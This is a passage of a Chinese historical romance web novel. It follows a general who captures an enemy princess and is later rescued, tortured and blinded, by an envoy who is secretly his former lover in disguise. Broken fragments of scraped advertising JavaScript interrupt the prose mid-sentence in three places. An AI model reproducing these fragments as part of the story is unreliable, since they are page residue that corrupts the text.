裴霁曦到了关押俘虏的地方,祈允、墨语、方若渊和严奇胜都在里面,他看看祈允,道:“做得不错。” 祈允垂眸道:“都是将军的计策好。” 裴霁曦在带初雪晴走之前,吩咐祁允在地势险要处做好陷阱,诱敌深入,未料竟是北狄公主亲自带兵追击,真是意外惊喜。 面前被缚的乌尤拉“呸”了一声,“卑鄙小人,竟用反间计让我损失一员大将,要杀要剐悉听尊便,喊一声疼我就不是公主!” 严奇胜一听气就来了,嚷嚷道:“许你们派细作,不许我们反间计,这他娘的什么道理!” 严奇胜冲到刑具旁,随手拿起一个短刀,大步跨到乌尤拉身旁,短刀抵着她的脸,“我看,先把这张脸毁了,看你还敢乱吠不!” 方若渊上前拽住严奇胜的手臂,看向裴霁曦,等着裴霁曦发话。 乌尤拉下意识脸往后撤了一下,但是眼神也不见惧色。 裴霁曦道:“严将军,不必如此。” 他看着乌尤拉继续道:“素闻北狄公主乃战场女杀神,今日被俘,宁可受刑也不辱巾帼英雄之名,令人佩服。不过大宁与北狄终有国土之争,若以公主性命,能换来两国相安,想必也不负公主之名。” 乌尤拉恶狠狠道:“黄口小儿,别想用我要挟北狄,有本事杀了我!” 裴霁曦缓缓道:“公主的军权也不是凭空得来的,手上染了多少部落的血才得了‘杀神’的名号。既为将军,终究是要死在战场上,此时求死,多少有些不堪。” 裴霁曦上前,解开了缚住乌尤拉的绳索,一旁的严奇胜虽有不解,也忍住没有制止。 乌尤拉看着眼前的少年将军,早就听闻定远侯的儿子年少成名,战场上丝毫不逊定远侯,虽然比自己还小了几岁,但是丝毫不显少年人的稚嫩,沉着的眸光让人不自主地想要遵从。 可这个人用兵诡谲,他表面上的善意也许还藏着什么计谋,乌尤拉问道:“你想用我谈什么?” 裴霁曦淡淡道:“公主虽是被俘,但在我们这里,不会受到什么虐待。至于谈什么,我们只是打仗的,朝中自然会派专人出面。” 言罢,吩咐墨语着人好生看管,走了出去。 方若渊和严奇胜跟在他身后,出了帐子,严奇胜还是没沉住气,问他道:“为啥不给她用刑?说不定能问出点北狄军情呢。” 不等裴霁曦解释,方若渊就在一旁道:“北狄公主好歹是个将军,岂是用刑就能逼出来话的?” 裴霁曦点点头:“北狄公主虽然为人多疑,但是在北狄军中威望颇足,北狄王不会轻易放弃北狄公主,如今北狄公主在我们手中,北狄那边多少也有所顾虑。” 他看着眼前漆黑夜色下的连绵山川,一切静谧都难能可贵,如若息战止戈,他宁愿刀枪生锈,明珠蒙尘。 他们几人各自回帐,裴霁曦在初雪晴帐前停下,本欲进去看看她是否安好,却听见里面传来细微的水声,想到她在梳洗,可他实在担心她的伤,便提声冲着帐内道:“冬雪,你腿伤未愈,自己不要乱动。” 帐内的初雪晴吓了一跳,她不方便沐浴,只能让人帮着拎了点水进来,扶着床简单擦洗,被裴霁曦的声音一吓,幸亏挨着床榻,狠狠跌到了床上,她“嘶”了一声,又忍着伤口的疼痛,对外面道:“世子,我没事,你别进来。” 裴霁曦在帐外满脸通红,他只是担忧而已,被初雪晴这么一拦,方觉不妥。他徘徊几步,想要寻人过来守在帐外,又觉得帐内的水声扰人心绪,怕被别人听到,干脆自己守在帐外。 裴霁曦为了掩饰守帐的尴尬,绕着帐门佯作散步。 帐内的初雪晴看外面没了声音,以为裴霁曦已经走了,这才放下心来,勉强收拾好了自己。 稍倾,裴霁曦绕圈的时候,看见祁允拿着什么东西在夜色中向着这里走来,忙又绕到帐门处,假装不经意碰见祁允,淡然道:“祁允,来找冬雪?” 祁允看见裴霁曦,一愣,不自然地默默将手背在身后,答道:“我知道冬雪受了伤,拿点药来看看她。” 裴霁曦侧身挡着帐门,“嗯,给我吧,我一道拿给她。” 初雪晴听到帐外声音,拄着拐挪到帐外,掀开帐帘一看,裴霁曦和祁允二人都在门口。 裴霁曦见她竟然拄拐出来了,忙道:“说了不要乱动,怎么还出来了?”说着就去扶她。 “世子,我没事的,伤口都已经包扎好了,服过药,也没那么疼了。”说着她转向祁允,问,“祁允,你是来看我吗?” 祁允在一旁面露尴尬,只道:“听说你受伤了,给你送点药”,他伸出手递出手中药瓶,“我家祖上学武,这是祖传的伤药,治疗外伤有奇效。” “谢谢。”初雪晴笑着接过。 裴霁曦心中莫名不悦,扶着初雪晴的手略微使力,对初雪晴道:“你赶紧歇着吧。” “将军。”祁允突然叫道,“我想问……是否因为要迷惑细作,才连我一并提拔了?” 裴霁曦皱皱眉头,他的确是因为想要迷惑何生,一道提拔了祁允,不过这也是因为祁允本身也足够优秀,他正欲答话,身旁的初雪晴道:“祁允,要不是你足够优秀,想要做迷惑何生的障眼法都不够格,无论如何,世子都提拔了你不是吗?” 裴霁曦心中不知是何滋味,小丫头倒是不避讳地在他面前夸别的男人,他只得顺着初雪晴淡然道:“的确如此,此番你抓了北狄公主,立一大功,也不枉之前的提拔,日后还要好好表现,等着你独当一面。” 祁允向裴霁曦郑重行礼,“定不辜负将军期望。” 祁允告辞后,裴霁曦把初雪晴扶到帐内。 初雪晴坐在床榻上,裴霁曦小心翼翼地把她的腿也抬到床上,初雪晴别扭地缩了一缩,裴霁曦道了声“别动”,还面色坦然地给她盖上了薄被。 裴霁曦倾身看着烛光映照下初雪晴通红的脸庞,压了压意欲上扬的唇角道:“明日让墨语把你送回邺清,你好好养伤,家中那么多书,你好好看,等抽空我回去考你。” “可纸上谈兵,哪有跟着世子学到的多呢?”初雪晴低声反驳着。 裴霁曦的唇角还是没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 忍住翘了起来,他清了清嗓子,故作镇定道:“那让你一直做我的军师可好?” “我……”初雪晴顿了顿,赧然道,“我还不够格……” 裴霁曦将手轻轻放在她的肩上,“除了武艺不佳,你的头脑比很多士兵都强,何况你还这么小,还可以慢慢学。” 初雪晴垂眸道:“谢谢世子,我努力。” “早些休息吧。”裴霁曦转身,看到旁边初雪晴刚洗漱过还未来及倒掉的水盆,很自然地端了起来。 初雪晴见状,急了起来,怎能让世子给自己倒脏水呢,她顾不上自己腿上的伤,急忙起身要拦下裴霁曦。 裴霁曦见她起身,反应迅速地放下水盆要去扶她,可刚放下水盆,初雪晴恰被自己的伤腿绊倒,直直地向他扑了过来。 初雪晴整个人扑到了裴霁曦的怀中,裴霁曦急忙抱住她,问道:“伤到腿了吗?疼吗?” 初雪晴的脸埋在裴霁曦胸膛,意识到此时姿势不妥,脸涨得更红了,伤腿有些疼,但她忍下了,答道:“不疼,没事。”急忙要挣脱裴霁曦的怀抱。 裴霁曦放下心来,才觉察此时怀中软玉温香,他怕初雪晴的挣扎伤到伤口,干脆抱起了她,轻轻放到床上。 可起身的时候,看着初雪晴面上的红晕,还有那秋水盈盈的眼眸,鬼使神差舍不得离开。 呼吸的热度在彼此面前传递,初雪晴有些发懵,直觉一种不同以往的情愫在两人之间流淌,黏得扯不开两人的距离。 裴霁曦甚至听到自己擂鼓般的心跳,在咚咚咚地怂恿着自己靠近她。 两人的距离一点点靠近,初雪晴脑中纷繁杂乱,不能思考,本能地一动不动,甚至在眼前的光一点点被遮住的时候,闭上了眼睛。 她的眼睛一闭,似乎给了裴霁曦莫大的鼓励,裴霁曦的唇如轻羽般缓缓落在了她的唇角,又如重石般狠狠撞向她的心房。 肌肤相触的时候,两人谁也没敢动,甚至不约而同憋起了气。 这触感太过温软,让裴霁曦忍不住想要更加靠近,他轻轻转了转头,正好触到了她的唇珠,微微用力研磨了一下。 就是这微微的研磨,让两人都终于憋不住气,粗重的呼吸声打乱了此时的寂静,裴霁曦感到对方灼热的呼吸洒在自己唇上的位置,才回过神来自己做了什么,忙直起身退开。 乍然分开的距离让初雪晴从云端回到了现实,她抬头看了看眼前的少年,烛光笼在他的面庞上,似是染了一层光晕,灼得她不敢多看,忙低垂下了眼眸。 她脑中凌乱,发生了什么,世子为何吻她?她为什么没有拒绝?难道自己真的一直有这种心思? 裴霁曦控制不住自己呼吸的节奏,胸腔不断地起伏着,他本能觉得自己应该在此时说些什么,可又觉得什么话语都不该在此时出现。 空气中只有烛花爆了的“滋噗”声,以及两人凌乱的呼吸声。 不知这样沉默了多久,裴霁曦的胸膛起伏渐渐平缓,他微微向前靠近了一步,慢慢将初雪晴拢在了自己的怀里,轻声道:“我会给你你想要的。” 32. 第 32 章 寒冬的凛风中里掺杂着零星的雪花,这次的初雪没有那么肆意,下了很久,地上也只浅浅的一层,风一吹就露出下面的泥土。 时光的荏苒悄悄掩盖那些厚重的记忆,抹去历经岁月的少年气,如今,一个是被俘的大将军,一个是出使的使臣。 初学清和吴长逸一行人已至北狄大营,但北狄侍卫拦下了吴长逸等人,只让初学清进账。 北狄营帐里,大宁使臣初学清挺直背脊,拱手行礼:“大宁国使臣初学清,见过公主。” 即使行礼,脊背也没有一丝弧度,周身的气度丝毫不减。 前方坐着北狄公主乌尤拉,乌尤拉如同男人一样双腿翘在身前的桌上,双手抱胸,靠着椅背观察着初学清,道:“大宁男儿郎都这么好看吗?好像只要一个驸马都可惜了。” 初学清神色未变,双眸毫不避讳地盯着乌尤拉,眼中寒意抖升,“久闻公主大名,听闻也是战场上不可一世的北狄女杀神,今日终得一见,可一见,终不如百闻。” 乌尤拉一脚踹开桌上的盛着糕点的盘盏,盘盏落地,伴随着哗啦一声,惊得周围的北狄随侍连忙下跪,只除了一位长须谋士,淡定地立在那里。 初学清毫无惧色,不慌不忙道:“两国邦交之所,公主却耽于男色,整军治战之能,可见一斑。” 长须谋士名唤巴木塔,见初学清如此不尊,便喝道:“放肆,你有什么资格评说公主殿下?” 乌尤拉嗤笑一声,定睛看着初学清,屈身向前,嘲道:“你胆子不小。” “非初某胆大,今日支撑我站在这里的,不是个人胆色,而是身后幅员辽阔,人口众多的大宁。” 乌尤拉不屑道:“你说说,你准备怎么赎回你们的大将军呢?” 初学清缓缓道:“初某此次来访,主要是向北狄表达我朝陛下的慰问,贵国新皇登基,略备薄礼,以表祝贺。至于裴将军,他先初某一步,来北狄出使,想必此刻还在贵国营中做客,不知可否方便让裴将军出来相见呢?” 乌尤拉嗤笑一声:“这么说来,裴霁曦也是使臣了?” 初学清面不改色:“正是。” “你以为你这么说,我就不把你们怎么样了?正如你们大宁人总说的那样,我们北狄是蛮夷之邦,可不讲究什么两国相交,不斩来使。”乌尤拉眼睛直勾勾地盯着初学清,“不过,既然你们派出两个美男子来出使,想必是知道本公主的喜好了,那就两个都留下吧。” 初学清并不闪避乌尤拉的直视,回道:“公主的喜好是什么,初某并不知情。但初某只知道,此次来访,传达到我朝陛下的慰问即可,也请公主收下我朝薄礼,目的既已达到,我国使臣也请公主放回。” “呵,笑话。”乌尤拉不屑地回道,“你胆子不小,你就不怕我把你像裴霁曦一样抓起来?” “信鸽传递了噩耗,便要诛杀信鸽,此乃莽人所为,相信北狄公主,一军之将,非此鲁莽之辈。” 乌尤拉正要动怒,她身旁的巴木塔轻咳一声。 乌尤拉瞥了那巴木塔一眼,身边有个兄长的眼线着实麻烦,她随即冷言道:“巧舌如簧,跟你说话,没什么意思,我可以把你这只信鸽放了,回去传个信,就说裴霁曦我留下了,就不用指着他回去打仗了。” 巴木塔走到初学清近前,伸手道请,初学清掸掸衣袖,走出帐外。 吴长逸等在公主营帐门口,见初学清出来,瞥了一眼她的手指,只见她食指轻轻动了两下,他心下了然。 初学清后面跟着巴木塔,吴长逸上前道:“礼单尚不知应交予何人?” 巴木塔闻言,缕缕胡须道:“交予我便可。” 吴长逸并未递出礼单,拱手道:“礼虽薄,但毕竟是我朝心意,可否允在下随行核对礼单?” 巴木塔疑惑片刻,看吴长逸言中有未尽之意,便点头应允,并遣人带初学清到其他帐内等候。 待初学清走远,吴长逸才对身旁的巴木塔道:“虽然此番在下护送初大人前来出使,可在下亦有任务在身,可否与先生借一步说话?” 巴木塔恍然明白,怪不得眼前小将非要一起核对礼单,原来是要支开初学清,他闻言便与吴长逸找了处僻静的帐子,商谈起来。 吴长逸开门见山道:“我朝使臣初侍郎与定远侯交好,两人在大宁共同发起变法,也是众人皆知的事情。我朝陛下令初侍郎出使,本意是要赎回太子殿下,谁知人质换成了定远侯,那初侍郎就不是使臣最佳人选了。” 巴木塔挑眉诧异道:“此话怎讲?” 吴长逸撇撇唇角:“因为定远侯功高盖主,西北边境甚至只识定远侯,不识我朝陛下,试问哪个君主能容得下如此乱臣贼子呢?” “那宁帝的意思是?” “在下今日才接到陛下密诏,此次出使,换使臣已来不及,但陛下令我务必阻止初侍郎救出定远侯,必要时,可以直接除掉定远侯。” 巴木塔惊诧不已,飞鸟尽良弓藏,北狄与大宁战事未了,怎的就要除掉裴霁曦了?他仍觉得这是一个圈套,只捋着胡须,不作言语。 吴长逸添油加醋道:“贵国公主殿下,囚禁定远侯这般久,都没有杀掉定远侯,听闻,是色令智昏,被定远侯的皮囊唬住了。女子怎堪为将,在国家大义面前,只会想着儿女私情。” 巴木塔被说中忧虑,也叹道:“可公主殿下在军中威望颇高,即便我王有意除掉定远侯,可要顾及公主殿下的意思。” 吴长逸笑道:“我可为大人解决此事,只要大人行个方便,我便安排人马来刺杀定远侯,届时大人只要把定远侯的死,推到大宁内斗即可。当然,我朝对内,也会说定远侯死在北狄军营。” 巴木塔虽内心仍有疑虑,可若真依吴长逸之计行事,既可以向王上交代,又可以不忤逆公主殿下的意思,实在一举两得。 * 初学清在另一帐子等候,估摸着时间,随着他们交谈愈久,心下愈发淡定。 据他们此前打探,巴木塔实乃北狄新王萨力青的谋臣,被新皇派来监视公主。毕竟乌尤拉既是萨力青的妹妹,也是北狄先王觉罗尔穆的妹妹。萨力青杀兄上位终不光彩,即使乌尤拉有征战之能,也要时刻监察。 乌尤拉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抓到裴霁曦后,没有第一时间杀死裴霁曦,他们便知道了乌尤拉的态度,想必乌尤拉是想利用裴霁曦在日后作战时发挥作用。 但北狄内部未必都如乌尤拉一般想。 裴霁曦曾经屠尽西羌三万兵马,不留活口,西羌人对裴霁曦恨之入骨。 此番西羌和北狄联合作战,北狄抓到裴霁曦,若留着不杀,西羌人必定有意见。 方才初学清试探了乌尤拉,对方并没有要立刻诛杀裴霁曦的意思,他们现在,就可以依计行事了。 初学清静等片刻,吴长逸和巴木塔商谈完毕,他们便一起离营。 直到远离北狄大营,确定没有北狄人跟着,吴长逸才对初学清低语:“已经通知了方将军,一切果然如初侍郎所料,巴木塔果然是北狄王派来监视乌尤拉的,北狄王想尽快杀了定远侯,但乌尤拉百般阻挠,想必要不是碍着乌尤拉的军权,北狄王早已下了杀手。” 初学清点点头:“乌尤拉知道定远军不会因离了定远侯就散架,想要定远侯做日后战争的筹码,北狄王却想杀了定远侯给西羌人看,以表合作诚意,所以给他一个机会借刀杀人,又能在乌尤拉面前撇清自己的责任,他自会接受。” 吴长逸此时方觉自己这个情敌,真不是只是官场上耍耍聪明的花架子,忽而理解了桑静榆为什么选了初学清,他顺着初学清的话道:“是,巴木塔一听我是朝中派来刺杀定远侯的,只犹豫片刻便告知了我定远侯被囚在哪个营帐,待夜半之时,我便与方将军带人去营救定远侯。巴木塔等着我去刺杀,也会提前在看管的人上做些手脚,更方便我们行事。” 他们没等多久,方若渊带着一行人前来和他们汇合,听到一切果然如计划一般,登时对面前的初学清起了敬重,他对初学清深深行了一礼,正色道:“此番若真能救回裴将军,初大人对定远军之恩,没齿难忘,定当结草衔环以报。” 初学清只道:“方将军言重了,定远军对大宁之恩,才当得我等结草衔环。” 方若渊看着眼前面目清朗的初学清,没忍住问道:“我有一旧友,与初大人面目相似,初大人家中可还有什么亲戚?” 初学清顿了顿,恍神片刻,意识到自己出神,忙追回了思绪,道:“早年家中贫寒,又遭了饥荒,亲人皆已去世,唯一的胞妹,也在那次饥荒中走散了,多年来寻人未果。” 方若渊恍然大悟般,竟有些激动起来,可片刻便冷静了下来,如今就算找到渊源,他们也寻不到旧人的影子,也没必要说出来旧事。 想到这,方若渊定了定神道:“可能人有相似吧。” 初学清点点头,不再言语。 那段军中的日子,恍如隔世。可如今眼前被点点白雪覆盖的连绵阴山,这萦绕着松香味的茂密松林,还有略染风霜的军中旧友,都一点点将尘封的记忆拽离尘埃,见得日光。 风雪经年,故人已不是故人。 他们一行人吃了些胡饼果腹,一直等到深夜,方若渊和吴长逸带着一小队人马,换上夜行衣,前去前去北狄大营。 初学清则在此地等候,留在这里接应他们。 33. 第 33 章 初冬的夜,山间凉意更浓。初学清近年来在南方风景秀丽的樟安做过知府,任期满又回到四季分明的京中,都没有再体验过北境的寒冷。 风声中夹杂着松林的沙沙声,在寂静的冬夜离显得格外凄冷,初学清裹紧身上的寒裘,心中的不安随着时间的流逝愈发明显。 难道出了差错? 不,不能有差错。 可万一呢? 初学清不敢深想,她深知今生是与裴霁曦无缘了,可无缘归无缘,生离的苦涩只是深夜无人时的胡思乱想,可死别是不敢想象的痛,从此记忆中的人也就只是记忆而已,再也没有机会沾染尘世的气息,徒留脑中虚影。 就在她忐忑不安之际,方若渊和吴长逸一行人终于回来了,夜色中方若渊骑着高马,身前护着一个虚弱的身影。 方若渊勒马停下,急促道:“我们留了一个尸体在哪,但想必北狄人也会马上发现,裴将军受伤过重,不宜在马上奔波,还是要赶紧换马车。” 他们提前在此备下了马车,就是怕裴霁曦受伤不宜骑马。 裴霁曦昏迷不醒,身上裹着方若渊为他披上的狐裘,脸色苍白,有斑驳的血迹从凌乱的发间延伸到脖颈,狐裘遮住了他身上的伤,但也能从脸色上判断出他伤的很重。 他们把裴霁曦抬到马车上,马车上有厚厚的毯子垫着,初学清上了马车照顾他,其他人骑马护送。 虽是乘着马车,但山间的路也难免颠簸。初学清坐在躺着的裴霁曦身旁,护着他不让他磕碰到车壁。 初学清拨开裴霁曦脸上的碎发,看着他脸上的血迹心疼不已。都说将士身上的伤是过往的功勋,可这些伤背后的惊心动魄,却不是一个疤能够概括的。 她的手轻轻抚着裴霁曦的头发,可竟摸到一片粘腻,她才发现裴霁曦的后脑有严重的破口,似是被撞伤的,北狄人真是对他用刑至酷。 她稍稍侧了下裴霁曦的头,将他的头枕在自己的手心上,防止破口被摩擦。 她的手就这么被裴霁曦的头压了一路,回到望北关大营的时候,已经没了知觉,但还是守护搬微曲的姿势。 众人将裴霁曦送入营帐,军医也忙上前来医治。初学清始终守在裴霁曦不远的地方,见军医解开狐裘,露出裴霁曦破烂不堪的衣服,他的衣服已然被血渍浸染。军医剪开了衣服,他们才看见,裴霁曦身上竟遍布伤痕,鞭痕,刀割,烫伤…… 初学清闭了闭双眸,压抑住心中酸涩,她手上还沾着裴霁曦的血,已然风干,烙印在手指的纹路之中,那丝丝缕缕的血迹竟不像是沾上去的,像是从她自己手中流出的一般疼痛。 她转身出了营帐,寻到吴长逸,对他道:“吴将军,定远侯伤势过重,劳烦你接我夫人过来帮忙医治,多个大夫帮手,对定远侯的伤也好。” 吴长逸应了之后,就骑马出营去请桑静榆。可出了营才反应过来,初学清又不是定远侯什么人,也没必要在这守着,她去接桑静榆不是更好,自己去接别人的夫人,算什么事。 桑静榆半夜被吴长逸从客栈中接出来,虽说身为大夫,半夜被叫醒是常事,可叫人的换成吴长逸,她就来了气。她一边上马,一遍念叨:“那会儿我说我跟着你们去军营,你非说军营都是男人不方便,连我夫君都不介意,你在那管什么闲事。” 吴长逸面色赧然,他的确觉得定远军中有军医,用不上桑静榆,谁知初学清非要让她也来呢。 桑静榆嘴上不停:“看吧,还是得用上我。还要我半夜赶路,我倒不是怕麻烦,这要耽误了定远侯治疗,我夫君不得宰了你。” 吴长逸被怼得也气不顺,“军营里那么多军医,谁知初大人抽什么疯非要把你叫过去,你以为我想半夜来接你么?这大晚上的,你不在意名声,我还怕传出去丢人呢。” 桑静榆一拍马屁股,她的马凑到吴长逸的马旁,她的脚伸过去踹了吴长逸一下,轻哼道:“满脑子龌龊思想,也幸亏我没嫁给你。”言罢加快了速度超越吴长逸。 吴长逸腿上被踹了一脚,脸上却生了红晕,幸亏有夜色的遮掩,能让这些恼人的心思有个遮羞布,他收敛心神,抓紧跟了上去。 他二人用最快的速度到了望北关大营,吴长逸带着桑静榆到了裴霁曦营帐前,桑静榆径直就要掀帘进账,吴长逸拦住了她,道:“我先进去说一声。” 吴长逸进到内账,看到方若渊和初学清还守在帐内,墨语扶着裴霁曦,军医正在为裴霁曦上药包扎,裴霁曦还没有转醒的迹象。 他告诉初学清已经接到人了,初学清折身欲到帐外叫桑静榆进来,吴长逸拦住她道:“定远侯这样,初夫人不方便进来吧?” 裴霁曦身上伤口太多,上身裸着,方便军医治疗。 初学清瞥了吴长逸一眼,当作没听到他的话,去帐外拉了桑静榆进来。 帐内灯火通明,众人脸上皆是担忧的神色。 桑静榆径直走到内账床旁,大致看了看裴霁曦的伤情,又和军医聊了聊,就对初学清道:“其他伤都好说,就是要好好养着,主要是他头上的伤,似是被人抓着头撞墙,现下他没醒,谁都无法预估这伤有没有其他影响。” 初学清眉头紧皱,眼眸定在裴霁曦身上,无法移开。 桑静榆拍拍她的肩,低语道:“别担心,定远侯身体底子好,早晚会恢复的。” 裴霁曦背上有一处伤口溃烂严重,军医要割去腐肉,桑静榆上前搭手,就在小刀割入皮肤的时候,裴霁曦因疼痛转醒。 就连醒了,他也没有因疼痛叫出声来,只是咬紧牙关,忍着疼痛。 初学清见他醒了,本能地上前去,又在迈开脚步的时候,停了在了一旁。 裴霁曦的眼神没有聚焦,感觉到是有人在帮他疗伤,他用沙哑的嗓音问道:“这是在哪?” 方若渊见他转醒,大喜道:“咱们是在望北关大营,已经离开北狄地界了。” 裴霁曦长呼了一口气,又问:“为何不掌灯?” 众人皆是一愣,军医问他:“将军,现在帐内灯火通明,您看得到光吗?” 裴霁曦愣怔片刻,道:“看不到……” 初学清连日奔波没有休息,本来眼睛干涩异常,此时却感到眼睛慢慢湿润了起来,她忙紧紧攥拳,止住眼底涌上的那股悲伤。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她看着眼前的裴霁曦,他的眼眸从来都是明亮而有神,在他对敌时,眸中是彻骨寒意,仿若阴山山顶常年的冰雪,化不开的冰冷;在他训兵时,眸中是凛冽威严,带着不怒自威的气势,让人忍不住遵从;在他看向自己时,眸中是春意暖阳,带着撩人的青山绿水,要把人融在这春水之中。 如今这眼眸,只有一片茫然的浓雾。 桑静榆和军医检查了一番,军医摇摇头,斟酌道:“将军头部伤处有淤血,想必眼患是与此有关,如若淤血能清,想必还是能复明的。” 方若渊问道:“那如何能清了淤血呢?” 军医答:“我开些活血化瘀的药,至于什么时候淤血能散了,还是要看造化。” 相较于众人的错愕,裴霁曦面色平淡,只道:“能活着回来,已是大幸了。”他抬头循着方才方若渊发声的方向,“你们是如何救出我的?” 方若渊看看一旁一直站立着的初学清,答道:“是礼部侍郎初学清大人前去和谈,用计离间北狄内部,北狄王一派以为朝中会派人暗杀你,行了方便,结果却方便了我们救你出来。现下严将军在整顿边防,以防北狄人发现后强攻。” “初侍郎?初侍郎现在何处?” 初学清此时才走上前,稳了稳声音道:“下官在这里。” 裴霁曦循着声音转头,感激道:“多谢初侍郎妙计,救命之恩必铭记于心。” “侯爷言重了,此次下官出使本是为救太子殿下,侯爷已提前将太子殿下救出,下官要感激侯爷才是。” “好了好了,你们不要寒暄了,定远侯刚受伤,此处不宜这么多人围着,散了吧。”桑静榆见不得初学清和裴霁曦这样你来我往,打断了他们的寒暄。 裴霁曦听到女子声音,愣怔片刻,身旁的墨语小声告诉他,是初夫人来帮忙医治。 身旁军医也道,有些伤口还未处理好,众人这才散去。 帐内只留下军医和墨语帮着裴霁曦处理伤口,方才在众人面前,裴霁曦很快接受了自己不能看见的事实,可他身为主将,不能在众人面前倒塌,哪怕失明,也必须装作不在乎一般。 身上的伤口一个个被处理,这种疼痛已经不能对他产生什么影响,他只深深闭上眼睛,良久,复又睁开,还是一片黑暗。 在北狄营中,是过往的那一点点回忆支撑他熬过种种刑罚,他仍觉得能找到冬雪,只是如今,哪怕找到了,他也再看不见她了。 他问身旁的墨语:“轻风可有消息?” 之前听说樟安有个女商,雷厉风行,叱咤整个樟安商会,带着江南一带愈发繁荣,便派了轻风前去打探,是否会是冬雪,即使那女商不是,她手下也有好几个女掌柜,都有这个可能。 墨语低声答:“没有。” 初侍郎和冬雪长得很像,他本犹豫是否要告知裴霁曦,可今日方将军回来后告诉他,初侍郎有可能是冬雪失散的兄长,如今初侍郎也没有冬雪的消息,他便不忍再让裴霁曦有希望后再次失望。 裴霁曦的眼眸看不见情绪波动,再次沉默下来,任由军医一点点割着腐肉,不吭一声。 34. 第 34 章 桑静榆拉着初学清出帐,夜色下的初学清带着风尘仆仆的倦色,这倦色之中又有浓得化不开的忧虑。她看到初学清手上还有血迹,将自己的帕子浸湿,让她自己擦干净。 她无奈对初学清道:“你这是关心则乱呢,怎么把我也叫过来了,军医的医术不比我差。” 初学清擦着手上的血迹,血迹凝固久了,需要很用力才能擦干净。她轻声道:“我只是太害怕了。”怕一丝他死亡的可能,因为不能承担这种后果,所以把所有能想到的都做到。 她问桑静榆:“定远侯的眼睛可有希望?” 桑静榆摇摇头:“方才不是说了么,头部受伤,可大可小,如今只是失明,都是万幸了。外敷内服,好好调养,兴许还有复明的可能,如果一直让定远侯这么忙碌,那可够呛了。” 初学清手中的帕子已经变为红色,她的手也露出本来颜色,可她仍觉得她的手似流血般疼痛。她低语道:“他身上担子重,很难有放下的时候。” 桑静榆瞥了她一眼:“和你一样啊,你也没有放下担子的时候。”说着挽住她的手臂,“不过呢,你还有我嘛,你自从见了定远侯,眉头就没解开过,有什么心事可以和我说说呀,别总憋在心里。” 初学清对谁都是一副言笑晏晏的模样,可桑静榆知道,她心里紧闭的很,谁都走不进去,桑静榆自诩闺蜜,可初学清也鲜少向她倾诉。 初学清用手轻轻抚了抚自己的眉头,竟把心事带到了脸上,实在不该,她转头冲桑静榆笑笑,“无事,人也救出来了,若下一步和谈顺利,我们也就该回了。” “唉,看你状态不好,我都不好和你说,但是实在憋不住。”桑静榆凑近初学清的耳朵道,“我在邺清听闻,定远侯先夫人给他生了个女儿,现在都六岁了。” 桑静榆说出来,是想让初学清别再念着那点旧日情谊,为定远侯费力伤神。 初学清愣怔片刻,只轻轻应了声“哦”。 六岁,也就是她离开没多久,裴霁曦就成亲了。 她心中说不上是什么滋味,似是一直以来自己不敢踏足的净土,早已有人至,甚至留下了纷杂的足迹。 而她,却永远去不了那方净土了。 在她二人身后,吴长逸远远地看着她们,虽然夜色深重,可习武之人目力极好,他甚至能看清桑静榆紧紧挽着初学清耳语的神情,还有初学清冲桑静榆微笑的模样。 他和桑静榆也算是青梅竹马,一直以为会这样顺利成亲,相伴到老。可谁知他只是说了不愿桑静榆抛头露面行医,桑静榆就毁了婚约,另嫁他人。 他一直觉得错的不是自己,也一直看初学清不顺眼,可近日看到他二人相处的方式,忽而觉得,或许错的,就是自己。 * 翌日,太子得知裴霁曦被救回,亲自去向裴霁曦道谢,坦言了自己的鲁莽,致一军之将遭此横祸。 初学清去探望裴霁曦的时候,就看见太子涕泪横流,痛哭忏悔的模样。 她心中暗叹,太子和景王的气度真是不可同日而语,奈何陛下就是如此溺爱太子,明明是一母同胞的兄弟,就因为先皇后生景王后难产而死,陛下对景王就如此薄待。用裴霁曦来换太子的平安,她更是觉得不值。 太子见她来了,止住了哭声,带着点呜咽对初学清道:“这次多亏了初侍郎妙计,救出了定远侯,不然孤真是难辞其咎啊!” 初学清淡声道:“此乃臣子的本分。” 裴霁曦听到初学清来,应是寻自己有事,便道:“太子殿下,臣已大好了,多谢殿下关爱,实在担不得殿下如此担忧,您明日即将回京,还是好生歇息吧。”言罢让一旁候着的墨语送太子回帐。 太子心思纯,也没多想,抽噎着出去了。 帐内只剩下裴霁曦和初学清二人。 初学清坐在裴霁曦身旁,看了看裴霁曦涣散的眸光,收敛心神道:“下官前来,是向侯爷告别。” “告别?初侍郎要回京?” 初学清否认道:“不是回京,是去长戎出使。” 裴霁曦瞬间领略了初学清的意思,“长戎在北狄与西羌西方,初侍郎莫非是想远交近攻?” “是。”初学清点头道,“长戎一直以来持中立的邦交态度,此番北狄与西羌联手攻打大宁,难免以后再联手攻打长戎,如果长戎能出一份力,让北狄西羌腹背受敌,大宁边境之困可解。” “可长戎若不肯出兵呢?难道陛下有意和亲?” 初学清答道:“两国交好,不仅仅是和亲这一条路,将两国关系系于一桩姻缘,也太过草率。我曾在樟安任知府,樟安商业兴盛,手工业发达,我来之前与樟安好友通信,好友愿遣工匠织女协助长戎,以互通有无,只有利益的一致,才是邦交的长久所在。” 裴霁曦叹道:“初侍郎果然足智多谋,怪不得舅父对你赞叹有加。” “我一直觉得,国界只是地理的分割,不应该是人种的区分。北狄和西羌一味想要入主中原,也是因为土地贫瘠,国力不济,若不是眼前的征战局面,与他们和谈,也不是不可能的。若能让本国子民过上好日子,想必他们也不愿连年征战。” 裴霁曦听到此番话,不禁想起来,他在屠尽西羌三万兵马后,冬雪对他的叱骂。在那个女子心中,众生平等,不论国界。 裴霁曦缓缓心神,低声道:“初侍郎,我与你一见如故,初侍郎所谋,正是我一直想做却做不到的,如若初侍郎不嫌弃,你我兄弟相称如何?” 初学清愣了一愣,他们曾互诉衷肠,极致缠绵,是彼此那时的挚爱;如今对面不识,一别经年,却又要兄弟相称。 她心中五味杂陈,但仍不露声色道:“怎会嫌弃,先前变法一事,侯爷鼎力相助,让下官一直铭记于心。”顿了顿,叫道,“裴兄。” 裴霁曦笑道:“好一声裴兄,冲这一声裴兄,学清你想做什么,只管去做,我会全力相助,为兄也盼着早日能见到更加开明的世道。” 